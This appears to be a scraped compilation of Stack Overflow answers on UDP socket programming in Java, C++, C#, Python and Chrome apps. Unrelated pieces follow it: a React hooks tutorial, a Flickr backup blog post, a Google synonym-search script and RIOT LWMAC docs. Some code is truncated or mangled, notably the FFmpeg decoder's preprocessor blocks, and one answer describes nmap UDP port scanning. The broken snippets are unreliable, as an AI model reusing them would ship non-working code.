public class TestServer { private static Integer TIMEOUT = 30; private final static int MAX_BUFFER_SIZE = 8192; private final static int MAX_LISTENER_THREADS = 5; private final static SimpleDateFormat DateFormat = new SimpleDateFormat("yyyy-dd-MM HH:mm:ss.SSSZ"); private int mPort; private DatagramSocket mSocket; // You can remove this for a working version private ExecutorService mPool; public TestServer(int port) { mPort = port; try { mSocket = new DatagramSocket(mPort); mSocket.setReceiveBufferSize(MAX_BUFFER_SIZE); mSocket.setSendBufferSize(MAX_BUFFER_SIZE); mSocket.setSoTimeout(0); // You can uncomment this for a working version //for (int i = 0; i < MAX_LISTENER_THREADS; i++) { // new Thread(new Listener(mSocket)).start(); //} // You can remove this for a working version mPool = Executors.newFixedThreadPool(MAX_LISTENER_THREADS); } catch (IOException e) { e.printStackTrace(); } } // You can remove this for a working version public void start() { try { try { while (true) { mPool.execute(new Listener(mSocket)); } } catch (Exception e) { e.printStackTrace(); } } finally { mPool.shutdown(); } } private class Listener implements Runnable { private final DatagramSocket socket; public Listener(DatagramSocket serverSocket) { socket = serverSocket; } private String readLn(DatagramPacket packet) throws IOException { socket.receive(packet); return new BufferedReader(new InputStreamReader(new ByteArrayInputStream(packet.getData())), MAX_BUFFER_SIZE).readLine(); } private void writeLn(DatagramPacket packet, String string) throws IOException { packet.setData(string.concat("\r\n").getBytes()); socket.send(packet); } @Override public void run() { DatagramPacket packet = new DatagramPacket(new byte[MAX_BUFFER_SIZE], MAX_BUFFER_SIZE); String s; while (true) { try { packet = new DatagramPacket(new byte[MAX_BUFFER_SIZE], MAX_BUFFER_SIZE); s = readLn(packet); System.out.println(DateFormat.format(new Date()) + " Received: " + s); Thread.sleep(TIMEOUT * 1000); writeLn(packet, s); System.out.println(DateFormat.format(new Date()) + " Sent: " + s); } catch (IOException e) { e.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } } } } public static void main(String[] args) { if (args.length == 1) { try { TIMEOUT = Integer.parseInt(args[0]); } catch (Exception e) { TIMEOUT = 30; } } System.out.println(DateFormat.format(new Date()) + " Timeout: " + TIMEOUT); //new TestServer(4444); new TestServer(4444).start(); } }
btw. @Lirik, I witnessed this behavior first in Eclipse, after which I tested it from the command line. And again, I have NO clue what is causing it ;) sorry...
Java: Multithreading & UDP Socket Programming - Stack Overflow
I have the same problem, udp socket does not receive scapy packet. I suppose there might be something related to this post: Raw Socket Help: Why UDP packets created by raw sockets are not being received
// Client form: // In this case, we're connecting to a specific server, so the client will // usually use: // Connect(address) // Connect to a UDP server // Read/Write // Reads/Writes all go to a single destination // // Server form: // In this case, we want to read/write to many clients which are connecting // to this server. First the server 'binds' to an addres, then we read from // clients and write responses to them. // Example: // Bind(address/port) // Binds to port for reading from clients // RecvFrom/SendTo // Each read can come from a different client // // Writes need to be directed to a specific // // address.
chrome.socket.bind
chrome.socket.recvFrom
chrome.socket.sendTo
chrome.socket.connect
chrome.socket.read
chrome.socket.write
var serverSocket; var clientSocket; // From var str2ab=function(str) { var buf=new ArrayBuffer(str.length); var bufView=new Uint8Array(buf); for (var i=0; i<str.length; i++) { bufView[i]=str.charCodeAt(i); } return buf; } // From var ab2str=function(buf) { return String.fromCharCode.apply(null, new Uint8Array(buf)); }; // Server chrome.socket.create('udp', null, function(createInfo){ serverSocket = createInfo.socketId; chrome.socket.bind(serverSocket, '127.0.0.1', 1345, function(result){ console.log('chrome.socket.bind: result = ' + result.toString()); }); function read() { chrome.socket.recvFrom(serverSocket, 1024, function(recvFromInfo){ console.log('Server: recvFromInfo: ', recvFromInfo, 'Message: ', ab2str(recvFromInfo.data)); if(recvFromInfo.resultCode >= 0) { chrome.socket.sendTo(serverSocket, str2ab('Received message from client ' + recvFromInfo.address + ':' + recvFromInfo.port.toString() + ': ' + ab2str(recvFromInfo.data)), recvFromInfo.address, recvFromInfo.port, function(){}); read(); } else console.error('Server read error!'); }); } read(); }); // A client chrome.socket.create('udp', null, function(createInfo){ clientSocket = createInfo.socketId; chrome.socket.connect(clientSocket, '127.0.0.1', 1345, function(result){ console.log('chrome.socket.connect: result = ' + result.toString()); }); chrome.socket.write(clientSocket, str2ab('Hello server!'), function(writeInfo){ console.log('writeInfo: ' + writeInfo.bytesWritten + 'byte(s) written.'); }); chrome.socket.read(clientSocket, 1024, function(readInfo){ console.log('Client: received response: ' + ab2str(readInfo.data), readInfo); }); });
javascript - Chrome packaged app UDP sockets not working - Stack Overf...
I've got some code snippets that might help you out as I've been working with MPEG-TS also.
Starting with my packet thread which checks each packet against the stream ID's which I've already found and got the codec contexts:
void *FFMPEG::thread_packet_function(void *arg) { FFMPEG *ffmpeg = (FFMPEG*)arg; for (int c = 0; c < MAX_PACKETS; c++) ffmpeg->free_packets[c] = &ffmpeg->packet_list[c]; ffmpeg->packet_pos = MAX_PACKETS; Audio.start_decoding(); Video.start_decoding(); Subtitle.start_decoding(); while (!ffmpeg->thread_quit) { if (ffmpeg->packet_pos != 0 && Audio.okay_add_packet() && Video.okay_add_packet() && Subtitle.okay_add_packet()) { pthread_mutex_lock(&ffmpeg->packet_mutex); // get free packet AVPacket *pkt = ffmpeg->free_packets[--ffmpeg->packet_pos]; // pre decrement pthread_mutex_unlock(&ffmpeg->packet_mutex); if ((av_read_frame(ffmpeg->fContext, pkt)) >= 0) { // success int id = pkt->stream_index; if (id == ffmpeg->aud_stream.stream_id) Audio.add_packet(pkt); else if (id == ffmpeg->vid_stream.stream_id) Video.add_packet(pkt); else if (id == ffmpeg->sub_stream.stream_id) Subtitle.add_packet(pkt); else { // unknown packet av_packet_unref(pkt); pthread_mutex_lock(&ffmpeg->packet_mutex); // put packet back ffmpeg->free_packets[ffmpeg->packet_pos++] = pkt; pthread_mutex_unlock(&ffmpeg->packet_mutex); //LOGI("Dumping unknown packet, id %d", id); } } else { av_packet_unref(pkt); pthread_mutex_lock(&ffmpeg->packet_mutex); // put packet back ffmpeg->free_packets[ffmpeg->packet_pos++] = pkt; pthread_mutex_unlock(&ffmpeg->packet_mutex); //LOGI("No packet read"); } } else { // buffers full so yield //LOGI("Packet reader on hold: Audio-%d, Video-%d, Subtitle-%d", // Audio.packet_pos, Video.packet_pos, Subtitle.packet_pos); usleep(1000); //sched_yield(); } } return 0; }
Each decoder for audio, video and subtitles have their own threads which receive the packets from the above thread in ring buffers. I've had to separate the decoders into their own threads because CPU usage was increasing when I started using the deinterlace filter.
My video decoder reads the packets from the buffers and when it has finished with the packet sends it back to be unref'd and can be used again. Balancing the packet buffers doesn't take that much time once everything is running.
Here's the snipped from my video decoder:
void *VideoManager::decoder(void *arg) { LOGI("Video decoder started"); VideoManager *mgr = (VideoManager *)arg; while (!ffmpeg.thread_quit) { pthread_mutex_lock(&mgr->packet_mutex); if (mgr->packet_pos != 0) { // fetch first packet to decode AVPacket *pkt = mgr->packets[0]; // shift list down one for (int c = 1; c < mgr->packet_pos; c++) { mgr->packets[c-1] = mgr->packets[c]; } mgr->packet_pos--; pthread_mutex_unlock(&mgr->packet_mutex); // finished with packets array int got; AVFrame *frame = ffmpeg.vid_stream.frame; avcodec_decode_video2(ffmpeg.vid_stream.context, frame, &got, pkt); ffmpeg.finished_with_packet(pkt); if (got) { #ifdef INTERLACE_ALL); } #elif defined(INTERLACE_HALF)); } #else mgr->add_av_frame(frame, 0); #endif } //LOGI("decoded video packet"); } else { pthread_mutex_unlock(&mgr->packet_mutex); } } LOGI("Video decoder ended"); }
As you can see, I'm using a mutex when passing packets back and forth.
Once a frame has been got I just copy the YUV buffers from the frame for later use into another buffer list. I don't convert the YUV, I use a shader which converts the YUV to RGB on the GPU.
void VideoManager::add_av_frame(AVFrame *frame, int field_num) { int y_linesize = frame->linesize[0]; int u_linesize = frame->linesize[1]; int hgt = frame->height; int y_buffsize = y_linesize * hgt; int u_buffsize = u_linesize * hgt / 2; int buffsize = y_buffsize + u_buffsize + u_buffsize; VideoBuffer *buffer = &buffers[decode_pos]; if (ffmpeg.is_network && playback_pos == decode_pos) { // patched 25/10/16 wlgfx buffer->used = false; if (!buffer->data) buffer->data = (char*)mem.alloc(buffsize); if (!buffer->data) { LOGI("Dropped frame, allocation error"); return; } } else if (playback_pos == decode_pos) { LOGI("Dropped frame, ran out of decoder frame buffers"); return; } else if (!buffer->data) { buffer->data = (char*)mem.alloc(buffsize); if (!buffer->data) { LOGI("Dropped frame, allocation error."); return; } } buffer->y_frame = buffer->data; buffer->u_frame = buffer->y_frame + y_buffsize; buffer->v_frame = buffer->y_frame + y_buffsize + u_buffsize; buffer->wid = frame->width; buffer->hgt = hgt; buffer->y_linesize = y_linesize; buffer->u_linesize = u_linesize; int64_t pts = av_frame_get_best_effort_timestamp(frame); buffer->pts = pts; buffer->buffer_size = buffsize; double field_add = av_q2d(ffmpeg.vid_stream.context->time_base) * field_num; buffer->frame_time = av_q2d(ts_stream) * pts + field_add; memcpy(buffer->y_frame, frame->data[0], (size_t) (buffer->y_linesize * buffer->hgt)); memcpy(buffer->u_frame, frame->data[1], (size_t) (buffer->u_linesize * buffer->hgt / 2)); memcpy(buffer->v_frame, frame->data[2], (size_t) (buffer->u_linesize * buffer->hgt / 2)); buffer->used = true; decode_pos = (++decode_pos) % MAX_VID_BUFFERS; //if (field_num == 0) LOGI("Video %.2f, %d - %d", // buffer->frame_time - Audio.pts_start_time, decode_pos, playback_pos); }
If there's anything else that I may be able to help with just give me a shout. :-)
The snippet how I open my video stream context which automatically determines the codec, whether it is h264, mpeg2, or another:
void FFMPEG::open_video_stream() { vid_stream.stream_id = av_find_best_stream(fContext, AVMEDIA_TYPE_VIDEO, -1, -1, &vid_stream.codec, 0); if (vid_stream.stream_id == -1) return; vid_stream.context = fContext->streams[vid_stream.stream_id]->codec; if (!vid_stream.codec || avcodec_open2(vid_stream.context, vid_stream.codec, NULL) < 0) { vid_stream.stream_id = -1; return; } vid_stream.frame = av_frame_alloc(); vid_stream.filter_frame = av_frame_alloc(); }
This is how I've opened the input stream, whether it be file or URL. The AVFormatContext is the main context for the stream.
bool FFMPEG::start_stream(char *url_, float xtrim, float ytrim, int gain) { aud_stream.stream_id = -1; vid_stream.stream_id = -1; sub_stream.stream_id = -1; this->url = url_; this->xtrim = xtrim; this->ytrim = ytrim; Audio.volume = gain; Audio.init(); Video.init(); fContext = avformat_alloc_context(); if ((avformat_open_input(&fContext, url_, NULL, NULL)) != 0) { stop_stream(); return false; } if ((avformat_find_stream_info(fContext, NULL)) < 0) { stop_stream(); return false; } // network stream will overwrite packets if buffer is full is_network = url.substr(0, 4) == "udp:" || url.substr(0, 4) == "rtp:" || url.substr(0, 5) == "rtsp:" || url.substr(0, 5) == "http:"; // added for wifi broadcasting ability // determine if stream is audio only is_mp3 = url.substr(url.size() - 4) == ".mp3"; LOGI("Stream: %s", url_); if (!open_audio_stream()) { stop_stream(); return false; } if (is_mp3) { vid_stream.stream_id = -1; sub_stream.stream_id = -1; } else { open_video_stream(); open_subtitle_stream(); if (vid_stream.stream_id == -1) { // switch to audio only close_subtitle_stream(); is_mp3 = true; } } LOGI("Audio: %d, Video: %d, Subtitle: %d", aud_stream.stream_id, vid_stream.stream_id, sub_stream.stream_id); if (aud_stream.stream_id != -1) { LOGD("Audio stream time_base {%d, %d}", aud_stream.context->time_base.num, aud_stream.context->time_base.den); } if (vid_stream.stream_id != -1) { LOGD("Video stream time_base {%d, %d}", vid_stream.context->time_base.num, vid_stream.context->time_base.den); } LOGI("Starting packet and decode threads"); thread_quit = false; pthread_create(&thread_packet, NULL, &FFMPEG::thread_packet_function, this); Display.set_overlay_timout(3.0); return true; }
AVPacket packet; av_init_packet(&packet); packet.data = myTSpacketdata; // pointer to the TS packet packet.size = 188;
You should be able to reuse the packet. And it might need unref'ing.
Wow, that looks great. Thanks. Just to confirm, your "packet_list" and "packets" are MPEG-TS packets? With 0x47 sync byte, PID, TS header, etc?
Yes they are the packets received from av_read_frame(). There's no need to check sync byte, only the stream ID as in the packet thread.
NB: I noticed a difference between ffmpeg 3.1.4 and 3.2. The early version gave 1 to 1 packets for the decoder. 3.2 have smaller packets as ffmpeg has now decoupled and deprecated the avcodec_decode_video2() function into 2 separate calls. Either way, this makes no difference because you just check the &got variable.
And another note as you mentioned about the raw TS packets. Yes you can feed the decoder with those packets too just so long as you identify the correct stream ID.
I've used your code to make a simple test program. To simulate the in-memory transfer, I read from a file containing only TS packets of the Video PID. I think I'm close but don't know how to set up the FormatContext. Sample cost posted above... any ideas?
c++ - What to pass to avcodec_decode_video2 for H.264 Transport Stream...
netstat | grep -P '(tcp|udp)'
You may want to use the i flag to ignore the case if necessary.
netstat | grep -Pi '(TcP|UDp)'
About the other answer here, using egrep or grep -e gives the same result. Based on this.
The -P flag was inspired by this post.
Using the option -P, accordingly to man grep, sets the pattern interpreter as perl. Not sure why it did not work without -P though.
Good answer, the -e comment should have been a comment to my post rather than being included in your answer though.
Oh, sorry, should have noticed that. Well at least you got ten points from my upvote. Keep up the good work and you'll have the reputation soon. Try to also markup your posts so they are readable and understandable, this will only improve the quality of your posts. More information here.
regex - regular expression with grep not working? - Stack Overflow
Made a fundamental mistake. With ConnectionlessBootstrap everything runs over the same channel and we were closing the channel after each call to the server...thus disabling UDP. That's what our TCP code does and it took a while to realize it works differently. Hope someone else saves some time and headaches off of this.
java - UDP with netty different pipeline per remote host not working -...
Mike, your code does not work because you are trying to send the UDP associate command through the a UDP datagram. The SOCKS5 handshake must be over a TCP control connection.
Your server may need to keep one open TCP connection per client, but each client does not need many TCP connections open - one TCP connection can handle any number of UDP associate commands.
If your sole purpose is to not use TCP at all on the server side, it will not achieve what you want. The TCP connection is needed so that the SOCKS proxy knows when to disassociate the UDP ports (namely, when the TCP connection goes down).
However, your server application does not need to worry about this at all. The TCP control connection terminates at the SOCKS server just as your diagram shows.
c++ - Sending UDP packets through SOCKS proxy - Stack Overflow
Also you could send UDP multicast over the network. And count number of working clients. (ReSharper use this trick) here is sample code
_receiveClient = new UdpClient(); Socket s = _receiveClient.Client; const int optionValue = 1; s.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, optionValue); s.ReceiveBufferSize = 256*1024; s.ReceiveTimeout = 2000; s.Bind(new IPEndPoint(IPAddress.Any, _uri.Port)); _receiveClient.JoinMulticastGroup(_groupAddress, 2);
c# - How to check license validation for N computers - Stack Overflow
I work on a product that supports both UDP (IP) and TCP/IP communication between client and server. It started out with IPX over 15 years ago with IP support added 13 years ago. We added TCP/IP support 3 or 4 years ago. Wild guess coming up: The UDP to TCP code ratio is probably about 80/20. The product is a database server, so reliability is critical. We have to handle all of the issues imposed by UDP (packet loss, packet doubling, packet order, etc.) already mentioned in other answers. There are rarely any problems, but they do sometimes occur and so must be handled. The benefit to supporting UDP is that we are able to customize it a bit to our own usage and tweak a bit more performance out of it.
Every network is going to be different, but the UDP communication protocol is generally a little bit faster for us. The skeptical reader will rightly question whether we implemented everything correctly. Plus, what can you expect from a guy with a 2 digit rep? Nonetheless, I just now ran a test out of curiosity. The test read 1 million records (select * from sometable). I set the number of records to return with each individual client request to be 1, 10, and then 100 (three test runs with each protocol). The server was only two hops away over a 100Mbit LAN. The numbers seemed to agree with what others have found in the past (UDP is about 5% faster in most situations). The total times in milliseconds were as follows for this particular test:
The total data amount transmitted was about the same for both IP and TCP. We have extra overhead with the UDP communications because we have some of the same stuff that you get for "free" with TCP/IP (checksums, sequence numbers, etc.). For example, Wireshark showed that a request for the next set of records was 80 bytes with UDP and 84 bytes with TCP.
networking - When is it appropriate to use UDP instead of TCP? - Stack...
if you can read the ip packet header info, you can get it done. In ip packet header includes the next protocol no(6 means TCP,17 means UDP), you should use this to differentiate.
It depands on your hardware. If your machine is switch or router, it's a piece of cake. Else if yours is PC or Server, as your word, it will decrease the performance rather than non-reading every pkt proccessing. My ex job is tester about the network product, and i dont know any other way to slove your problem, sorry.
@2vision2 - have you actually thought through your requirements? Because you've stated a very clear requirement to log each packet, then you say it will decrease performance if you read each packet. How do you expect to log them without reading them?
if you are just reading packets headers and not bodies, it really isn't that hard, but if all you need to do is log this info, something like tcpdump or ngrep might solve your problem without having to write much if any code. but as @parsifal says, I think you need to further refine your actual requirements.
sockets - How to differentiate TCP and UDP packets in machine with jav...
Check chapter 9 of the ACE Programmers Guide (see) for how UDP works with ACE. See ACE_wrappers/examples/APG/Misc_IPC for the code that belongs to that section.
sockets - c++ how do I receive stream packets from internet site to my...
Firstly, assuming that your IP and other codes you write but not in above is correct,I have done a lot of test, even tried to change the settings of the firewall.But it still works. So, I think that maybe because of the unreliability of UDP protocol, your server sometimes can not receive the data from the client.You can just try to use TCP protocol.
Secondly, in your screenshot of PcWinTech.com v3.0.0 , it seems that your computer is in the subnetwork. So I gust that maybe the IP("72.49.50.49") is your router's IP, and I suggest you to check the settings of the router whether the router can transmit the data to your computer ,say, port forwarding.And I have just find a article that may help you.
wasn't me... anyway I also tried port forwarding but I'll read the article for more info
Probably because you don't provide a concrete answer but rather a list of assumptions and recommendations; things typically better as comments. Not the -1 either.
@ChiefTwoPencils yeah,,,may be you are right. I have been thinking about this question for all morning, doing a lot of test. But finally I can just get this two assumptions...Anyway, thanks for your comments.
@JoeBoris after trying port forwarding ,can it still not work?Maybe you can try to run your server and client program in the same subnetwork at first, in order to check if there is something wrong with the existing code.
networking - Java DatagramSocket sending but not receiving - Stack Ove...
UDP scan works by sending a UDP packet to every targeted port. For some common ports such as 53 and 161, a protocol-specific payload is sent, but for most ports the packet is empty. The --data-length option can be used to send a fixed-length random payload to every port or (if you specify a value of 0) to disable payloads..
You can read the full article here: NMAP port scanning
Ok I see, I found another link that goes in the same direction than your answer: stackoverflow.com/a/9265820/397830
c# - Check if a remote port is UP(listening) on UDP? - Stack Overflow
The yaSSL and CyaSSL embedded SSL/TLS libraries have worked well for me in the past. Being targeted at embedded systems, they are optimized for both speed and size. yaSSL is written in C++ and CyaSSL is written in C. In comparison, CyaSSL can be up to 20 times smaller than OpenSSL.
Both support the most current industry standards (up to TLS 1.2), offer some cool features such as stream ciphers, and are dual licensed under the GPLv2 and a commercial license (if you need commercial support).
Hi Chris, thanks for the answer. Unfortunately, over a year has passed since my posting, and the client canceled the project and tossed me off of the project a couple of weeks ago.
c++ - Adding SSL support to existing TCP & UDP code? - Stack Overflow
getsockname might get it for you, but I wonder why your code works with a UDP socket.
"bind() works fine with UDP sockets" -- of course. "local.sin_port = 0; //randomly selected port" -- MSDN only documents that for TCP.
MSDN documents in SendTo that it will auto-Bind for UDP, if you haven't already.
@JesseChisholm: the MSDN documentation for sendto() states that an implicit bind() is performed only if setsockopt() was also called beforehand.
How to find a socket's local port number? (Windows C++) - Stack Overfl...
I have the same problem, udp socket does not receive scapy packet. I suppose there might be something related to this post: Raw Socket Help: Why UDP packets created by raw sockets are not being recieved
Your python client code looks suspicious, I don't think you should be doing a connect or a send using a UDP socket. Try this:
#!/usr/bin/python import socket, sys, time, struct port = 10000 host = "localhost" addr = (host,port) if len(sys.argv) > 1: host = sys.argv[1] print "Sending Data" s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto("Hello World",addr) print "Looking for replies; press Ctrl-C or Ctrl-Break to stop." while 1: data,addr = s.recvfrom(1200) if not data: break print "Received: %s" % data
it works for me using your server.cpp
macmini:stackoverflow samm$ ./client.py Sending Data Looking for replies; press Ctrl-C or Ctrl-Break to stop. Received: Hello World
host unreachable is what I would expect if the client that sent the message does not have the sender_endpoint_ port open. When I compiled your server.cc and use the Boost.Asio blocking udp echo client example, it works just fine
macmini:stackoverflow samm$ g++ server.cpp -lboost_system -o server macmini:stackoverflow samm$ g++ client.cpp -lboost_system -o client macmini:stackoverflow samm$ ./server 10000
in another shell
macmini:stackoverflow samm$ ./client 127.0.0.1 10000 Enter message: hello Reply is: hello macmini:stackoverflow samm$ ./client 127.0.0.1 10000 Enter message: goodbye Reply is: goodbye macmini:stackoverflow samm$
hmmm, thats odd. I tried it with the UDP client also. I think it might be something to do with the python test script I'm using.
c++ - Why doesn't this Boost ASIO code work with this python client? -...
I tried you code. It worked. (Of course, just the TCP/UDP parts. Rest commented out):
Correctly reached the udp part of the server Correctly reached the tcp part of the server
Capture tcpdump on the client and server side. Examine the traces.
Is the UDP client really sending the packet?
As suggested by WalterA in comments, have \n in the printf
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https://recalll.co/app/?q=Code%20snipped%20for%20working%20with%20udp
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How to use React useMemo and useCallback hook
Is it bad to re-initialize local variables, and event functions inside a React functional component?
// Reinitialize variables and functions on every state update function App() { const [value, changeValue] = React.useState(''); const [cats, updateCatList] = React.useState([{name: 'Mr. Whiskers'}, {name: 'Fluffy'}]); const handleSubmit = () => { // ... some logic and print list updateCatList([...cats, value]); }; const handleChange = e => { // ... Some logic and update state changeValue(e.target.value); }; return ( <> <input onChange={handleChange} /> <button onClick={handleSubmit}>Submit</button> {JSON.stringify(cats)} </> ); }
99% of time, probably not.
But maybe, you’re that 1% that you notice some heavy computation is killing your apps performance.
Or maybe, you just want to pre-optimize.
If those are the cases, let me tell you about why
React useMemo, and
useCallback is useful for your problems, and how it works.
Why React useMemo is useful
This hook creates a memoized value.
Sometimes you have to compute a value through a complex calculation or you have to make a call to a costly database network.
Using
React useMemo will perform the action once, and store the value as a memoized value.
So the next time you reference that local variable, it will get the value quicker.
useMemo(() => callback, array_dep);
Here’s how to use
React useMemo:
const catsValue = React.useMemo(() => highlyCostCatQueryCall());
This hook behaves almost like
React useEffect. In the sense that if you don’t pass an empty array (
React useMemo will get triggered on any update.
[]) as the second parameter,
const catsValue = React.useMemo(() => highlyCostCatQueryCall(), []);
If you’d like to trigger this hook again, add some dependencies in that empty array.
const catsValue = React.useMemo(() => highlyCostCatQueryCall(arg1, arg2), [arg1, arg2]);
If any of those dependencies in the array change in value, then
React useMemo will re-trigger, and save the new value as a memoized value.
Why React useCallback is useful
React useCallback is similar to
useMemo.
The difference between
useCallback and
useMemo is that
useCallback returns a memoized callback function. And
useMemo returns a memoized value
The objective is to not re-initialize the function or the value, unless it’s array dependencies have changed.
useCallback(func, array_dep);
Here’s how to use
React useCallback:
function App() { const [counter, setCounter] = React.useState(0); const [autoCounter, setAutoCounter] = React.useState(0); const incrementCallback = React.useCallback(() => { setCounter(counter + 1); }, [counter]); React.useEffect(() => { setInterval(() => { setAutoCounter(c => c + 1); }, 1000); }, []); return ( <> <h1>Auto counter: {autoCounter}</h1> <h2>Manual counter: {counter}</h2> <button onClick={incrementCallback}>Increment</button> </> ); }
In the example above I have 2 different
useState variables,
counter and
autoCounter.
autoCounter will auto increment every second by 1.
I set that code command inside a
setInterval() within my
React useEffect hook.
const [autoCounter, setAutoCounter] = React.useState(0); React.useEffect(() => { setInterval(() => { setAutoCounter(c => c + 1); }, 1000); }, []);
In the example above I also have another React state variable called
counter.
This variable will need to get incremented manually by clicking on the button.
Here’s the click event handler for the button:
const incrementCallback = React.useCallback(() => { setCounter(counter + 1); }, [counter]);
Notice how I wrap my callback function inside a
React useCallback hook.
That lets React know to not re-initialize this function,
incrementCallback, every time it re-renders.
I did let it know to only re-initialize, when the counter state variable gets updated.
If I pass an empty array dependency, I can only use the function once.
If I don’t pass a second parameter,
incrementCallback gets re-initialized every time the React component re-renders.
Conclusion
99% of the time you don’t need to use these optimization tools.
And everything comes at a cost. In this case, it comes with more complexity.
But that’s up to you to decide whether it’s worth it or not.
I like to tweet about React and post helpful code snippets. Follow me there if you would like some too!
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How I Use Flickr: For Backup
I've got a growing number of personal pictures and the collection is growing since 2003, when I got my first digital camera, a shitty Sanyo that still works and that I still use whenever I forget about my Nikon.
But here’s the thing with digital pictures - they are cheap to make, but also easy to lose. Digital storage is not as reliable as glossy paper. Pictures printed on paper can easily last for a 100 years. That’s not the case with any digital storage medium and we will suffer for it.
Storing My Pictures In The Cloud #
Pro accounts on Flickr have unlimited storage and can upload and access full-resolution pictures. This is great, although be careful about believing in “unlimited plans”, as nothing is really unlimited and by abusing Flickr you may find yourself locked out of your account.
UPDATE (2019-12-15): since Flickr has been acquired by SmugMug, the free accounts no longer have unlimited, or the 1 TB of space we had in the Yahoo days. Pro accounts continue to have unlimited storage, but you have to keep paying for Pro, otherwise they’ll eventually delete your archive.
Unfortunately the tools for uploading really suck and I haven’t encountered yet a graphical interface that did what I needed. So for synchronizing, I’ve built my own script in Ruby using the excelent Flickraw gem and exifr, another Ruby gem that reads Exif headers from Jpeg files.
One common problem is that you ALWAYS have duplicates. And you don’t want to upload duplicates. What you really want is an “rsync” command for Flickr. But how do you know if a picture was already uploaded?
The approach I’m using is to add a machine tag to my pictures, which is set like a tag, but has the format “namespace:key=value”. This machine tag represents the MD5 hash of the picture and if you want to see if a certain photo was already uploaded to flickr, you can always search for it. Here’s how it looks on one of my pictures:
checksum:md5=5b2fa91c38a7f878088e1420b924e6d9
Besides this, I have this problem with some of the older photos taken by my Sanyo, where the taken-date is totally fucked and for personal photos the taken date is maybe more important than the actual photo quality. I use the excelent ExifTool to correct those photos. It’s nice building on the hard work of other people ;)
So, currently I have 3545 pictures uploaded on Flickr in full resolution and the number will more than triple as soon as I make an inventory of my pictures stored on old hardware I’ve got lying around.
It is fun being a developer. I can make shit happen.
Flickr is Not A Reliable Backup #
Flickr is an online service that isn’t meant for being a backup. I share only a fraction of what I upload, everything else is family only. They may terminate your account at any time for whatever reason. They may also go out of business. Yahoo may sell it, etc, etc… I do think Flickr is awesome btw and one reason that I store my photos on Flickr is to be able to always have the whole archive with me. But for backup alone, that’s not enough.
What you really need to do is:
- your main repository should be stored locally and properly maintained - I do that on my main computer currently, but multi-TB external hard-drives are cheap
- in case of cloud backup, you always need a secondary service for redundancy
Google’s Picasa is a good option because you can explicitly buy storage. This means that if you pay for 80 GB of storage nobody is going to get upset that you uploaded 80 GB of private photos … also, if your photo collection matters to you, I wouldn’t put my trust in their Google+ offering (photos of up to 2048x2048 pixels do not count towards your free quota). That’s because that offer is not meant for you. Just pay up.
So on Google’s Picasa, I’m currently working on integrating with their API too. The desktop app is nice, but too limited for me.
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The Google ~ synonym operator ["Special
Syntax" in ] widens
your search criteria to include not only the specific keywords in
your search, but also words Google has found to be
synonyms of, or at least in some way
related to, your query words. So while, for example, food
facts may only match a handful of pages of interest to you,
~food ~facts seeks out nutrition information,
cooking trivia, and more. And finding these synonyms is an
entertaining and potentially useful exercise in and of itself.
Here's one way...
Let's say we're looking for all the
synonyms for the word "car." First,
we search Google for ~car to find all the pages
that contain a synonym for "car" In
its search results, Google highlights synonyms in bold, just as it highlights regular keyword
matches. Scanning the results (the second page is shown in ) for ~car finds car, cars,
motor, auto, BMW, and other synonyms in boldface.
Now let's focus on the synonyms rather than our
original keyword, "car."
We'll do so by excluding the word
"car" from our query, like so:
~car -car. This saves us from having to wade
through page after page of matches for the word
"car."
Once again, we scan the search results for new synonyms. (I ran
across automotive, racing, vehicle, and motor.)
Make a note of any new bolded synonyms and subtract them from the
query (e.g., ~car-car -automotive
-racing -vehicle -motor) until you hit
Google's 10-word limit ["The
10-Word Limit" in Chapter 1], after which Google
starts ignoring any additional words that you tack on.
In the end, you'll have compiled a goodly list of
synonyms, some of which you'd not have found in your
typical thesaurus thanks to Google's algorithmic
approach to synonyms.
Call the script on the command line ["How to Run the
Hacks" in the Preface], passing it a starting word
to get it going, like so:
% python synonyms.pycar
You'll get back a list of synonyms like these:
['auto', 'cars', 'car', 'vehicle', 'automotive', 'bmw', 'motor', 'racing', 'van',
'toyota']
—Aaron Swartz
If you think this all sounds a little tedious and more in the job
description of a computer program, you'd be right.
Here's a short Python script to do all the iteration
for you. It takes in a starting word and spits out a list of synonyms
that it accrues along the way.
TIPYou'll need the PyGoogle library
to provide an interface to the Google API.
You'll need the PyGoogle library
to provide an interface to the Google API.
#!/usr/bin/python
# Available at
import re
import google # get at
sb = re.compile('<b>(.*?)</b>', re.DOTALL)
def stripBolds(text, syns):
for t in sb.findall(text):
t = t.lower( ).encode('utf-8')
if t != '...' and t not in syns: syns.append(t)
return syns
def findSynonyms(q):
if ' ' in q: raise ValueError, "query must be one word"
query = "~" + q
syns = []
while (len(query.split(' ')) <= 10):
for result in google.doGoogleSearch(query).results:
syns = stripBolds(result.snippet, syns)
added = False
for syn in syns:
if syn in query: continue
query += " -" + syn
added = True
break
if not added: break # nothing left
return syns
if __name__ == "__main_ _":
import sys
if len(sys.argv) != 2:
print "Usage: python " + sys.argv[0] + " query"
else:
print findSynonyms(sys.argv[1])
Save the code as synonyms.py.
O'Reilly Home | Privacy Policy
© 2007 O'Reilly Media, Inc.
Website:
All trademarks and registered trademarks appearing on oreilly.com are the property of their respective owners.
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Documentation
The friendly Operating System for the Internet of Things
Definition of internal types used by LWMAC.
More...
Definition of internal types used by LWMAC.
Definition in file types.h.
#include "msg.h"
#include "xtimer.h"
#include "net/gnrc/lwmac/hdr.h"
This browser is not able to show SVG: try Firefox, Chrome, Safari, or Opera instead.
Go to the source code of this file.
LWMAC duty-cycle active flag.
Keep track of duty cycling to avoid late RTT events after stopping.
Definition at line 78 of file types.h.
LWMAC needs reschedule flag.
Used internally for rescheduling state machine update, e.g. after state transition caused in update.
Definition at line 86 of file types.h.
RX states of LWMAC.
Rx schedule stopped.
Initiate reception.
Wait for a wakeup request.
Send wakeup ackknowledge to requesting node.
Wait until WA sent to set timeout.
Wait for actual payload data.
Recption has finished successfully.
Reception over, but nothing received.
Definition at line 140 of file types.h.
Internal states of LWMAC.
Undefined state of LWMAC.
LWMAC's main state machine has been stopped.
Start LWMAC's main state machine.
Stop LWMAC's main state machine.
Reset LWMAC's main state machine.
Listen the channel for receiving packets.
RX is handled in own state machine.
TX is handled in own state machine.
Turn off radio to conserve power.
Count of LWMAC's states.
Definition at line 103 of file types.h.
LWMAC timeout types.
Timeout is disabled.
WR timeout, waiting WA.
Maximum WR duration timeout awaiting WA.
Timeout awaiting data packet from receiver.
